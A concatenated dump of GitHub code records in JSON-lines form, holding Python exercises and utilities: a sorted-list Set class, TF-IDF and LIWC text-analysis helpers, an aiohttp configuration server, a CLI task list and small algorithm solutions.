# Returns the Union of Set A and Set B as a new set\n def union(self, setB):\n newSet = Set()\n a = 0\n b = 0\n # Merge the two lists together until one is empty.\n while a < len(self) and b < len(setB):\n valueA = self.elements[a]\n valueB = setB.elements[b]\n if valueA < valueB:\n newSet.elements.append(valueA)\n a += 1\n elif valueA > valueB:\n newSet.elements.append(valueB)\n b += 1\n \n # Only one of the two duplicates are appended.\n else:\n newSet.elements.append(valueA)\n a += 1\n b += 1\n\n # If listA contains more items, append them to newList. \n while a < len(self):\n newSet.elements.append(self.elements[a])\n a += 1\n \n # Or if listB contains more, append them to newList.\n while b < len(setB):\n newSet.elements.append(setB.elements[b])\n b += 1\n\n return newSet\n\n # Returns the Intersect of Set A and Set B as a new set\n def intersect(self, setB):\n newSet = Set()\n for element in self.elements:\n if element in setB.elements:\n ndx = newSet.findPosition(element)\n newSet.elements.insert(ndx, element)\n return newSet\n \n # Returns the difference unique elements of Set A and Set B as a new set\n def difference(self, setB):\n newSet = Set()\n for element in self.elements:\n if element not in setB.elements:\n ndx = newSet.findPosition(element)\n newSet.elements.insert(ndx, element)\n return newSet\n\n # Determines if 2 Sets are equal\n def __eq__(self, setB):\n\n if len(self) != len(setB):\n return False\n else: \n for i in range(len(self)):\n if self.elements[i] != setB.elements[i]:\n return False\n return True\n\n # Returns the union of unique elements of Set A and Set B as a new set\n def __add__(self, setB):\n return self.union(setB)\n\n # Returns the difference unique elements of Set A and Set B as a new set\n def __sub__(self, setB):\n return self.difference(setB)\n\n # Returns the intersect of Set A and Set B as a new set\n def __mul__(self, setB):\n return self.intersect(setB)\n\n # Determines if Set A is a subset of Set B \n def __lt__(self, setB):\n return self.isSubsetOf(setB)\n\n # Iterates over the Set Elements\n def __iter__(self):\n return SetIterator(self.elements)\n\n # Finds the position of the element within the ordered list.\n def findPosition(self, element):\n \n low = 0\n high = len(self) - 1\n # Repeatedly subdivide the sequence in half until the target is found.\n while low <= high:\n # Find the midpoint of the sequence.\n mid = (high + low) // 2\n \n # Does the midpoint contain the target?\n if self.elements[mid] == element:\n return mid\n \n # Or does the target precede the midpoint?\n elif self.elements[mid] > element:\n high = mid - 1\n\n # Or does it follow the midpoint?\n else:\n low = mid + 1\n\n return low\n\n\nclass SetIterator:\n\n # Creates an instance of the list\n def __init__(self, elements):\n self.elements = elements\n self.ndx = 0\n\n # Returns the Iteration\n def __iter__(self):\n return self.elements\n\n # Returns the Next Element\n def __next__(self):\n if self.ndx < len(self.elements):\n new = self.elements[self.ndx]\n self.ndx += 1\n return new\n\n raise StopIteration\n\n\n# TEST\nsetA = Set(5, 6, 9)\nsetA.add(0)\nsetA.add(2)\nsetA.add(3)\nsetA.add(1)\nsetA.add(1)\nsetA.add(6)\n\nsetB = Set()\nsetB.add(1)\nsetB.add(1)\nsetB.add(2)\nsetB.add(8)\n\nsetB.remove(8)\nprint(setA + setB)\nprint(setB)\nprint(setA)\nprint(setA * setB)\nprint(setA - setB)\nprint(6 in setA)\n\nprint(setA == setB)\n\n","repo_name":"Predstan/Algorithm-and-Data-Structure","sub_path":"ch5/set using sorted list/Set.py","file_name":"Set.py","file_ext":"py","file_size_in_byte":5582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16979903086","text":"from sklearn.feature_extraction.text import CountVectorizer\nimport numpy as np\n\n\ndef c_tf_idf(documents, m, ngram_range=(1, 1)):\n count = CountVectorizer(ngram_range=ngram_range,\n stop_words=\"english\").fit(documents)\n t = count.transform(documents).toarray()\n w = t.sum(axis=1)\n tf = np.divide(t.T, w)\n sum_t = t.sum(axis=0)\n idf = np.log(np.divide(m, sum_t)).reshape(-1, 1)\n tf_idf = np.multiply(tf, idf)\n\n return tf_idf, count\n","repo_name":"emanuelevivoli/2021-Master-Thesis-UNIFI","sub_path":"src/thesis/clusters/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"6712630381","text":"def solution(priorities, location):\n answer = 0\n a = []\n\n for i, j in zip(range(len(priorities)), priorities):\n a.append([i, j])\n\n b = sorted(priorities, reverse=True)\n\n i = 0\n while i != len(priorities):\n if a[i][1] != b[i]:\n c = a.pop(i)\n a.append(c)\n else:\n i += 1\n\n a.sort(key=lambda x: x[1], reverse=True)\n\n for i in range(len(a)):\n if location == a[i][0]:\n answer = i + 1\n\n return answer\n\nprint(solution([1, 2, 3, 2], 2)) # 1\nprint(solution([1, 1, 9, 2, 1, 1], 0)) # 5","repo_name":"KimGeunUk/Programmers","sub_path":"Level2/프린터.py","file_name":"프린터.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13660636764","text":"#Given an unsorted list, create a function nth_smallest() that returns the \n#nth smallest integer (the smallest integer is the first smallest, \n#the second smallest integer is the second smallest, etc).\n\ndef nth_smallest(list_numbers, ind_num):\n list_numbers.sort()\n if ind_num > len(list_numbers):\n return None\n else:\n return(list_numbers[ind_num - 1])\n \nprint(nth_smallest([5, 3, 2, 1, 10], 1))\n# assert nth_smallest([5, 3, 2, 1, 10], 2) == 2\n# assert nth_smallest([5, 3, 2, 1, 10], 1) == 1","repo_name":"SynelnykE/ISTQB_PracticalTesting1","sub_path":"PythonCoreMyHT/nth_smallest_HT.py","file_name":"nth_smallest_HT.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17001966390","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Sep 14 07:40:48 2019\n\n@author: IliaRaysin\n\"\"\"\n\nfrom sympy import solve,Symbol,I\nfrom sympy.abc import a,b,c,d,g,h,n\nimport sympy\n\ndef Sf1(p,n):\n return sum(p[i] * (1-sympy.cos(2*sympy.pi/3 * (n+i)))*2/3 for i in range(3))\n\ndef Sf2(p,n):\n return sum(p[i] * (sympy.exp(sympy.I * 2*sympy.pi/3 * n*(i+1)))*2/3 for i in range(3))\n\nSf = Sf2\n\nEqs = [3*Sf([a,b,c],0)-2,3*Sf([a,b,c],1)-4,3*Sf([a,b,c],2)-4,\n 3*Sf([d,g,h],0),3*Sf([d,g,h],1)+1,3*Sf([d,g,h],2)-1]\nprint(Eqs)\nsol = solve(Eqs)\nprint(sol)\n\nF1 = Sf1([a*n+d,b*n+g,c*n+h],n).subs(sol)\nF2 = Sf2([a*n+d,b*n+g,c*n+h],n).subs(sol)\nprint(sympy.simplify(F1))\nprint(F2)\ncomplex(F2.subs(n,2))\n\nimport numpy as np\nfrom numpy.linalg import det\nN = np.array([[0,1,2],[1,2,0],[2,0,1]])\nA = (1-np.cos(2*np.pi/3 * N))*2/3\nprint(np.linalg.det(A))\nB = (1-np.exp(1j*2*np.pi/3 * N))*2/3\nprint(np.linalg.det(B))\nC = (1-np.cos(2*np.pi/3 * N))*2/3\n#C = np.concatenate((C,np.ones((3,1))),axis=1)\nprint(np.linalg.matrix_rank(C))\nprint(det(C))\n","repo_name":"iliar1987/CollatzFractal","sub_path":"Collatz2_Sym.py","file_name":"Collatz2_Sym.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31819193857","text":"import math\n\n\nsymbol = {\n 1:'I',\n 5:'V',\n 10:'X',\n 50:'L',\n 100:'C',\n 500:'D',\n 1000:'M'\n}\n\ndef closet_value(n, keys):\n if n in keys:\n return n\n else:\n for i in keys:\n resultat = n - i\n if resultat == 1 or resultat == -1:\n return i\n elif resultat == 2 or resultat == -2:\n return i\n\ndef solution(n):\n number_of_digit = len(str(abs(n)))\n keys_symbol = [key for key, val in symbol.items()]\n digit_to_str = str(n)\n i = 0\n roman_number = \"\"\n while i < n:\n #number = int(digit_to_str[0]) * 100\n close_value = closet_value(int(n), keys_symbol)\n if n < close_value:\n if close_value - n != 2:\n roman_number += symbol[close_value - n]\n n += 1\n else:\n roman_number += symbol[close_value - 5]\n n -= 5\n roman_number += symbol[closet_value(int(n), keys_symbol)]\n n -= closet_value(int(n), keys_symbol)\n n = n.__abs__()\n return roman_number\n #print(str(n).split(\" \"))\nprint(solution(4))","repo_name":"ludo514/CodeWars","sub_path":"romanEncoder.py","file_name":"romanEncoder.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15058382278","text":"# This project is a CLI-based task list that allows a user to add, view, and complete tasks\n\n# Our list to store tasks\ntasks = []\n\n# USER INTERFACE\n# Show the menu to the user \ndef show_menu():\n print(\"Task List Menu:\")\n print(\"1. Add Task\")\n print(\"2. View Tasks\")\n print(\"3. Mark Task as Completed\")\n print(\"4. Remove Task\")\n print(\"5. Exit\")\n\n# TASK MANAGEMENT METHODS\n\n# Add: Add a task to the list\ndef add_task(title, description):\n\n # Task is a dictionary object (k-v pairs)\n task = {\"title\": title, \"description\": description, \"completed\": False} \n tasks.append(task)\n print(\"Task added.\")\n\n# View: View all current tasks\ndef view_tasks():\n if len(tasks) == 0:\n print(\"No tasks found.\")\n \n for i, task in enumerate(tasks, start=1):\n status = \"Completed\" if task[\"completed\"] else \"Not Completed\"\n print(f\"{i}. {task['title']} - {status}\") # f-string (formatted string)\n\n# Mark complete: Mark a task as complete \ndef mark_task_completed(task_index):\n if 0 <= task_index < len(tasks): # if in list\n tasks[task_index][\"completed\"] = True # mark complete\n print(\"Task completed.\")\n else:\n print(\"Invalid task index.\") # not in list\n\n# Remove: Remove a task from the list \ndef remove_task(task_index):\n if 0 <= task_index < len(tasks): #if in list\n del tasks[task_index] # delete dict member from the list\n print(\"Task deleted.\")\n else:\n print(\"Invalid task index.\") # not in list\n\n# Get user input\ndef get_user_input():\n choice = input(\"Enter your choice: \")\n return choice\n\n# MAIN\ndef main():\n while True:\n # Show menu and get input\n show_menu()\n choice = get_user_input()\n\n # Based on input, do the action\n if choice == \"1\":\n title = input(\"Enter task title: \")\n description = input(\"Enter task description: \")\n add_task(title, description)\n elif choice == \"2\":\n view_tasks()\n elif choice == \"3\":\n task_index = int(input(\"Enter the task number to mark as completed: \"))\n elif choice == \"4\":\n task_index = int(input(\"Enter the task number to delete: \"))\n remove_task(task_index)\n elif choice == \"5\":\n break\n else:\n print(\"Invalid choice. Please select a valid choice: \")\n \nif __name__ == \"__main__\":\n main()\n","repo_name":"Kevinrwh/task_list","sub_path":"task_list.py","file_name":"task_list.py","file_ext":"py","file_size_in_byte":2414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70647020055","text":"import asyncio\nimport uvloop\nfrom os import environ\n\nfrom aiohttp import web\nfrom dotenv import load_dotenv, find_dotenv\nfrom jsonschema import validate, ValidationError\nfrom motor.motor_asyncio import AsyncIOMotorClient\nfrom pydash import pick\nfrom pymongo import ReturnDocument\n\nfrom config_schema import configuration_get_schema, configuration_post_schema\n\nasyncio.set_event_loop_policy(uvloop.EventLoopPolicy())\nload_dotenv(find_dotenv())\n\nasync def init_db(application):\n loop = application.loop\n client = AsyncIOMotorClient(environ.get('DATABASE_URI'), io_loop=loop)\n database_name = environ.get('DATABASE')\n collection_name = environ.get('COLLECTION')\n application['collection'] = client[database_name][collection_name]\n\nasync def health_check(_request):\n return web.Response(text='OK')\n\nasync def add_config(request):\n body = await request.json()\n\n try:\n validate(body, configuration_post_schema)\n except ValidationError as ex:\n return web.Response(status=400, text=ex.message)\n\n # Merge values in here\n for key in body['configuration'].keys():\n body['configuration.{}'.format(key)] = body['configuration'][key]\n\n del body['configuration']\n\n query = pick(body, 'tenant', 'integration_type')\n coll = request.app['collection']\n result = await coll.find_one_and_update(query, {'$set': body},\n upsert=True,\n return_document=ReturnDocument.AFTER)\n del result['_id']\n\n return web.json_response(result)\n\nasync def get_config(request):\n try:\n validate(dict(request.query), configuration_get_schema)\n except ValidationError as ex:\n return web.Response(status=400, text=ex.message)\n\n query = pick(request.query, 'tenant', 'integration_type')\n result = await request.app['collection'].find_one(query, {'_id': False})\n\n if not result:\n message = 'The configuration you requested could not be found.'\n return web.Response(status=404, text=message)\n\n return web.json_response(result)\n\napp = web.Application()\napp.on_startup.append(init_db)\napp.router.add_get('/', health_check)\napp.router.add_get('/config', get_config)\napp.router.add_post('/config', add_config)\n\nweb.run_app(app, port=8000)\n","repo_name":"kmcgrady/asyncio-config-server","sub_path":"aiohttp_server.py","file_name":"aiohttp_server.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25069932887","text":"#ejemplo funcion con variable global\ndinero_disponible = 50000.0\n\"\"\"Ingresa dinero al sistema y actualiza el saldo\"\"\"\ndef ingresar_y_actualizar():\n global dinero_disponible #aviso que es global, y lo tengo que hacer con todas las funciones. \n while True:\n try:\n dinero_ingresar = float(input(\"Ingrese dinero a depositar: \"))\n if dinero_ingresar > 0 :\n break\n else:\n print(\"Por favor ingrese una suma positiva\")\n except:\n print(\"Error en los parametros\")\n\n#las globales se declaran en donde la vamos a usar con las funciones. ","repo_name":"CamilaPavan/LabotariosYEstructuraDeDatosPython","sub_path":"Unidad 4/Ejemplo Var Global.py","file_name":"Ejemplo Var Global.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10920409009","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^get/', views.get_list_cals),\n url(r'^events/create/', views.create_event),\n url(r'^events/cancel/', views.cancel_event),\n url(r'^events/get/', views.get_list_events)\n]\n","repo_name":"skutylev/hse_staff","sub_path":"cals/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36260187629","text":"# !/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2023/2/3 15:02\n# @Author : ZYQ\n# @File : main.py\n# @Software: PyCharm\n\nimport benepar\nimport copy\nimport os\nimport re\nimport spacy\nimport xml.etree.ElementTree as ET\n\nfrom collections import defaultdict\nfrom tqdm import tqdm\nfrom spacy.symbols import ORTH\n\n\nclass Dataset4ABSA:\n def __init__(self, domain, dataset):\n self.dir_path = './xml_v2'\n self.domain = domain\n self.dataset = dataset\n self.all_dataset_path = {'lap14': {'train': self.dir_path + '/' + 'Semeval2014/Laptops_Train.xml',\n 'test': self.dir_path + '/' + 'Semeval2014/Laptops_Test.xml'},\n 'rest14': {'train': self.dir_path + '/' + 'SemEval2014/Restaurants_Train.xml',\n 'test': self.dir_path + '/' + 'SemEval2014/Restaurants_Test.xml'},\n 'rest15': {'train': self.dir_path + '/' + 'SemEval2015/Restaurants_Train.xml',\n 'test': self.dir_path + '/' + 'SemEval2015/Restaurants_Test.xml'},\n 'rest16': {'train': self.dir_path + '/' + 'SemEval2016/Restaurants_Train.xml',\n 'test': self.dir_path + '/' + 'SemEval2016/Restaurants_Test.xml'},\n }\n self.sentiment_dict = {'negative': '-1', 'neutral': '0', 'positive': '1'}\n\n def parse_semeval14(self):\n sentence_list, aspect_list, label_list, aspect_index_list, sentence_id_list = [], [], [], [], []\n tree = ET.parse(self.all_dataset_path[self.domain][self.dataset]) # 解析树\n root = tree.getroot() # 根节点\n sent_id = 0\n for sentence in tqdm(root.findall('sentence')):\n aspectTerms = sentence.find('aspectTerms')\n if aspectTerms is None: # 去掉没有aspect的句子\n continue\n text = sentence.find('text').text # 句子\n for aspectTerm in aspectTerms.findall('aspectTerm'): # 遍历所有的aspect\n polarity = aspectTerm.get('polarity').strip()\n if polarity == 'conflict': # 去掉conflict情感的句子\n continue\n aspect = aspectTerm.get('term')\n start = aspectTerm.get('from')\n end = aspectTerm.get('to')\n assert text[int(start):int(end)] == aspect\n sentence_list.append(text)\n aspect_list.append(aspect)\n label_list.append(self.sentiment_dict[polarity])\n aspect_index_list.append([int(start), int(end)])\n sentence_id_list.append(sent_id)\n sent_id += 1\n return sentence_list, aspect_list, label_list, aspect_index_list, sentence_id_list\n\n def parse_semeval1516(self):\n sentence_list, aspect_list, label_list, aspect_index_list, sentence_id_list = [], [], [], [], []\n tree = ET.parse(self.all_dataset_path[self.domain][self.dataset]) # 解析树\n root = tree.getroot() # 根节点\n sent_id = 0\n for review in tqdm(root.findall('Review')):\n for sentences in review.findall('sentences'):\n for sentence in sentences.findall('sentence'):\n text = sentence.find('text').text # 句子\n if not sentence.findall('Opinions'): # 删除没有aspect的句子\n continue\n for opinions in sentence.findall('Opinions'):\n for opinion in opinions.findall('Opinion'): # 遍历所有的aspect\n aspect = opinion.get('target')\n if aspect == 'NULL':\n continue\n polarity = opinion.get('polarity').strip()\n start = opinion.get('from')\n end = opinion.get('to')\n assert text[int(start):int(end)] == aspect\n sentence_list.append(text)\n aspect_list.append(aspect)\n label_list.append(self.sentiment_dict[polarity])\n aspect_index_list.append([int(start), int(end)])\n sentence_id_list.append(sent_id)\n sent_id += 1\n return sentence_list, aspect_list, label_list, aspect_index_list, sentence_id_list\n\n def regex(self, string1):\n string1 = re.sub(r' ', '', string1)\n string1 = re.sub(r'-', ' - ', string1)\n string1 = re.sub(r'/', ' / ', string1)\n string1 = re.sub(r';', ' ; ', string1)\n string2 = re.sub(r' {2,}', ' ', string1)\n return string2\n\n def write_dataset(self, data, mode='one'):\n if mode == 'one':\n fout = open('one_sentence_one_aspect/{}_{}'.format(self.domain, self.dataset), 'w')\n nlp = spacy.load('en_core_web_trf')\n special_case = [{ORTH: \"$T$\"}]\n nlp.tokenizer.add_special_case(\"$T$\", special_case)\n for sentence, aspect, label, aspect_index in tqdm(zip(data[0], data[1], data[2], data[3]),\n total=len(data[0])):\n mask_sentence = sentence[:aspect_index[0]] + ' $T$ ' + sentence[aspect_index[1]:]\n sentence_tokens = [w.text for w in nlp(mask_sentence)]\n new_sentence = (' '.join(sentence_tokens)).strip()\n aspect_tokens = [a.text for a in nlp(aspect)]\n new_aspect = (' '.join(aspect_tokens)).strip()\n # regex\n new_sentence = self.regex(new_sentence)\n new_aspect = self.regex(new_aspect)\n fout.write(new_sentence + '\\n' + new_aspect + '\\n' + label + '\\n')\n fout.close()\n return\n elif mode == 'all':\n if not os.path.exists('one_sentence_one_aspect/{}_{}'.format(self.domain, self.dataset)):\n print(\"run write_dataset(data, mode='one') first\")\n return\n fin = open('one_sentence_one_aspect/{}_{}'.format(self.domain, self.dataset), 'r')\n fout = open('one_sentence_all_aspect/{}_{}'.format(self.domain, self.dataset), 'w')\n lines = fin.readlines()\n fin.close()\n\n sentence_list, aspect_list, label_list, aspect_index_list = [], [], [], []\n for i in range(0, len(lines), 3):\n text_left, _, text_right = lines[i].strip().partition('$T$')\n aspect = lines[i + 1].strip()\n label = lines[i + 2].strip()\n text = text_left + aspect + text_right\n sentence_list.append(text)\n aspect_list.append(aspect)\n label_list.append(label)\n aspect_index_list.append([len(text_left.split()), len(text_left.split()) + len(aspect.split())])\n compare_sent = sentence_list[0]\n compare_id = 0\n id2sent = {}\n # 检查同一句子下不同aspect的句子是否一致\n for sent, sent_id in tqdm(zip(sentence_list, data[4]), total=len(sentence_list)):\n id2sent[sent_id] = sent\n if sent_id == compare_id:\n if sent == compare_sent:\n compare_sent = sent\n compare_id = sent_id\n else:\n print('-' * 10 + 'You may need to revise these sentences manually')\n print(compare_sent)\n print(sent)\n else:\n compare_sent = sent\n compare_id = sent_id\n id2aspect = defaultdict(lambda: [])\n for aspect, label, aspect_index, sent_id in tqdm(zip(aspect_list, label_list, aspect_index_list, data[4]),\n total=len(aspect_list)):\n id2aspect[sent_id].append([aspect, label, aspect_index])\n aspect_and_index_list = []\n for id, aspects in id2aspect.items():\n for i in range(len(aspects)):\n other_aspect = copy.deepcopy(aspects)\n other_aspect.pop(i)\n cur_aspect = aspects[i]\n final_aspect = [cur_aspect] + other_aspect\n aspect_and_index_list.append(final_aspect)\n\n assert len(sentence_list) == len(aspect_and_index_list)\n for sent, ai in zip(sentence_list, aspect_and_index_list):\n all_aspect_info = ''\n all_aspect_label = ''\n for token in ai:\n aspect = token[0]\n label = token[1]\n start_index = token[2][0]\n end_index = token[2][1]\n all_aspect_info += aspect + '#' + str(start_index) + '#' + str(end_index) + ' /// '\n all_aspect_label += label + ' '\n fout.write(sent + '\\n' + all_aspect_info.strip() + '\\n' + all_aspect_label.strip() + '\\n')\n fout.close()\n else:\n print(\"try 'one' or 'all'\")\n return\n\n def consitituency_parsing(self):\n pass\n\n\nlap14_train = Dataset4ABSA('lap14', 'train')\ndata = lap14_train.parse_semeval14()\n# lap14_train.write_dataset(data, 'one')\nlap14_train.write_dataset(data, 'all')\n\n\nlap14_test = Dataset4ABSA('lap14', 'test')\ndata = lap14_test.parse_semeval14()\n# lap14_test.write_dataset(data, 'one')\nlap14_test.write_dataset(data, 'all')\n\nrest14_train = Dataset4ABSA('rest14', 'train')\ndata = rest14_train.parse_semeval14()\n# rest14_train.write_dataset(data, 'one')\nrest14_train.write_dataset(data, 'all')\n\nrest14_test = Dataset4ABSA('rest14', 'test')\ndata = rest14_test.parse_semeval14()\n# rest14_test.write_dataset(data, 'one')\nrest14_test.write_dataset(data, 'all')\n\nrest15_train = Dataset4ABSA('rest15', 'train')\ndata = rest15_train.parse_semeval1516()\n# rest15_train.write_dataset(data, 'one')\nrest15_train.write_dataset(data, 'all')\n\nrest15_test = Dataset4ABSA('rest15', 'test')\ndata = rest15_test.parse_semeval1516()\n# rest15_test.write_dataset(data, 'one')\nrest15_test.write_dataset(data, 'all')\n\nrest16_train = Dataset4ABSA('rest16', 'train')\ndata = rest16_train.parse_semeval1516()\n# rest16_train.write_dataset(data, 'one')\nrest16_train.write_dataset(data, 'all')\n\nrest16_test = Dataset4ABSA('rest16', 'test')\ndata = rest16_test.parse_semeval1516()\n# rest16_test.write_dataset(data, 'one')\nrest16_test.write_dataset(data, 'all')\n","repo_name":"yongqiangzheng/Dataset","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33185614473","text":"import liwc\nimport pandas as pd\nimport numpy as np\nimport re\nfrom collections import Counter\nfrom tqdm import tqdm\nfrom ast import literal_eval\nimport itertools\nfrom typing import Union\nfrom scipy import stats\n\n\n# filepaths\nDF_FILEPATH = '' ## path to the dataframe you want to load data from. most likely \"data/final_dataset.xlsx\"\nLIWC_FILEPATH = '' ## path to your copy of the LIWC_2015.dic file\nLIWC_SCORES_FILEPATH = '' ### path to the .xslx file that contains the LIWC counter string representations. \n ### most likely \"data/liwc/labels_liwc_scores.xlsx\" though you can overwrite using methods below\n\n#### HELPER METHODS FOR TOKENIZING AND LIWC PARSING A DISCUSSION#################################################\n\n# tokenizes a sentence turning it into an ITERATOR (NOT A LIST)\n\n\ndef tokenize(input_sentence: str):\n # you may want to use a smarter tokenizer\n for match in re.finditer(r'\\w+', input_sentence, re.UNICODE):\n yield match.group(0) # this is a generator not a list\n\n# wrapper for the tokenize method that converts iterator to list\n\n\ndef get_sentence_parse(input_sentence: str):\n return list(tokenize(input_sentence))\n\n\n# gets the liwc category counts for a string using the liwc parse function\ndef get_liwc_cats_for_comment(comment: str, parse_function):\n if type(comment) != str:\n return []\n comment_tokens = get_sentence_parse(comment)\n counter = Counter(\n category for token in comment_tokens for category in parse_function(token))\n return counter.most_common()\n\n###################################################################################################\n\n# Takes a df of samples and then creates a new dataframe with the liwc counts per row per comment\n# as well asf or the whole discussion\n\n\ndef build_liwc_excel_for_samples(df_filepath: str, liwc_filepath: str, scores_filepath: str):\n df = pd.read_excel(df_filepath, index_col=0)\n comment_liwc_categories = [[], [], [], []]\n parse, category_names = liwc.load_token_parser(liwc_filepath)\n for i, row in tqdm(df.iterrows()):\n comment_liwc_categories[0].append(\n get_liwc_cats_for_comment(row[\"C1\"], parse))\n comment_liwc_categories[1].append(\n get_liwc_cats_for_comment(row[\"C2\"], parse))\n comment_liwc_categories[2].append(\n get_liwc_cats_for_comment(row[\"C3\"], parse))\n comment_liwc_categories[3].append(\n get_liwc_cats_for_comment(str(row[\"C1\"]) + str(row[\"C2\"]) + str(row[\"C3\"]), parse))\n\n df[\"C1_LIWC\"] = pd.Series(comment_liwc_categories[0])\n df[\"C2_LIWC\"] = pd.Series(comment_liwc_categories[1])\n df[\"C3_LIWC\"] = pd.Series(comment_liwc_categories[2])\n df[\"Whole_Discussion_LIWC\"] = pd.Series(comment_liwc_categories[3])\n\n df.to_excel(scores_filepath, index=False)\n return df\n\n\n### returns a list of tuples of form (liwc category, #counts of category / discussion length)\n### e.g. [(\"informal (Informal Language)\", .32), (\"persconc (Personal Concerns)\", 0.21), .....]\ndef get_categories_avg_per_discussion_for_row(row: pd.Series):\n whole_discussion_tok = get_sentence_parse(\n row[\"C1\"] + row[\"C2\"] + row[\"C3\"])\n len_whole_discussion = len(whole_discussion_tok)\n # the list was saved as a string so we literal_eval to reconvert back to list\n category_counts = literal_eval(row[\"Whole_Discussion_LIWC\"])\n category_avgs = []\n for (category, count_in_discussion) in category_counts:\n category_avgs.append((category, count_in_discussion / len_whole_discussion))\n\n return category_avgs\n\n\n### applies the above method for all samples for a whole subsection of a column\n### subsection is chosen based on the column name and value (e.g. df[\"ag\"] == 1)\n### takes the average liwc score for a specific liwc category and takes a final average overall samples\n### in that subsection of the dataframe\ndef get_liwc_category_avg_for_single_col_subsample(liwc_category: str, col_name: str, col_val: Union[str, int], df: pd.DataFrame):\n # for all rows that have some value (e.g. all rows with Serious == 1)\n subselection = df.loc[df[col_name] == col_val]\n # get the number of samples with this value\n num_samples_in_subselection = subselection.shape[0]\n\n # for all samples with this qualification, we want to see if that sample has the particular liwc category of interest present\n category_avg = 0\n category_row_scores = []\n for _, row in tqdm(subselection.iterrows()): # for each sample in this subselection\n avgs = get_categories_avg_per_discussion_for_row(row)\n row_score = 0\n # average the liwc score per word across all samples\n for category, row_avg_value in avgs:\n if category == liwc_category:\n category_avg += row_avg_value\n row_score += row_avg_value\n category_row_scores.append(row_score)\n\n return category_avg / num_samples_in_subselection, category_row_scores\n\ndef get_p_vals_for_two_subsamples(category: str, col_name_1: str, col_val_1: Union[str, int],\n col_name_2: str, col_val_2: Union[str, int], \n df: pd.DataFrame):\n subsample_1_scores = get_liwc_category_avg_for_single_col_subsample(\n category, col_name=col_name_1, col_val=col_val_1, df=df)\n subsample_2_scores = get_liwc_category_avg_for_single_col_subsample(\n category, col_name=col_name_2, col_val=col_val_2, df=df)\n\n \n ttest = stats.ttest_ind(subsample_1_scores[1], subsample_2_scores[1], equal_var=False)\n print(\"subsample 1 mean is \" + str(np.mean(subsample_1_scores[1])))\n print(\"subsample 1 std dv is: \" + str(np.std(subsample_1_scores[1])))\n print(\"subsample 2 mean is \" + str(np.mean(subsample_2_scores[1])))\n print(\"subsample 2 std dv is: \" + str(np.std(subsample_2_scores[1])))\n return ttest\n\n### applies the get_categories_avg_per_discussion_for_row method for all samples for a whole subsection of a column\n### subsection is chosen based on three column values for the 'ag', 'ci', and 'se' columns\n### takes the average liwc score for a specific liwc category and takes a final average overall samples\n### in that subsection of the dataframe\ndef get_liwc_category_avg_for_multiple_cols_subsample(liwc_category: str, col_val_1: int, col_val_2: int, col_val_3: int, df: pd.DataFrame):\n # for all rows that have some value (e.g. all rows with Serious == 1)\n subselection = df.loc[(df['ag'] == col_val_1) & (df['ci'] == col_val_2) & (df['se'] == col_val_3)]\n # get the number of samples with this value\n num_samples_in_subselection = subselection.shape[0]\n\n # for all samples with this qualification, we want to see if that sample has the particular liwc category of interest present\n category_avg = 0\n category_row_scores = []\n for _, row in tqdm(subselection.iterrows()): # for each sample in this subselection\n avgs = get_categories_avg_per_discussion_for_row(row)\n row_score = 0\n # average the liwc score per word across all samples\n for category, row_avg_value in avgs:\n if category == liwc_category:\n category_avg += row_avg_value\n row_score += row_avg_value\n category_row_scores.append(row_score)\n\n return category_avg / num_samples_in_subselection, category_row_scores\n\ndef get_p_vals_for_two_subsamples_mult_cols(category: str, col_val_1: Union[str, int],\n col_val_2: Union[str, int], col_val_3: Union[str, int], \n col_val_4: Union[str, int], col_val_5: Union[str, int],\n col_val_6: Union[str, int],\n df: pd.DataFrame):\n subsample_1_scores = get_liwc_category_avg_for_multiple_cols_subsample(\n category, col_val_1==col_val_1, col_val_2=col_val_2, col_val_3=col_val_3, df=df)\n subsample_2_scores = get_liwc_category_avg_for_multiple_cols_subsample(\n category, col_val_1==col_val_4, col_val_2=col_val_5, col_val_3=col_val_6, df=df)\n\n \n ttest = stats.ttest_ind(subsample_1_scores[1], subsample_2_scores[1], equal_var=False)\n print(\"subsample 1 mean is \" + str(np.mean(subsample_1_scores[1])))\n print(\"subsample 1 std dv is: \" + str(np.std(subsample_1_scores[1])))\n print(\"subsample 2 mean is \" + str(np.mean(subsample_2_scores[1])))\n print(\"subsample 2 std dv is: \" + str(np.std(subsample_2_scores[1])))\n return ttest\n\ndef get_anova_for_lda_groups(category: str, df: pd.DataFrame):\n group_0 = get_liwc_category_avg_for_single_col_subsample(category, col_name='topic', col_val=0, df=df)\n group_1 = get_liwc_category_avg_for_single_col_subsample(category, col_name='topic', col_val=1, df=df)\n group_2 = get_liwc_category_avg_for_single_col_subsample(category, col_name='topic', col_val=2, df=df)\n group_3 = get_liwc_category_avg_for_single_col_subsample(category, col_name='topic', col_val=3, df=df)\n group_4 = 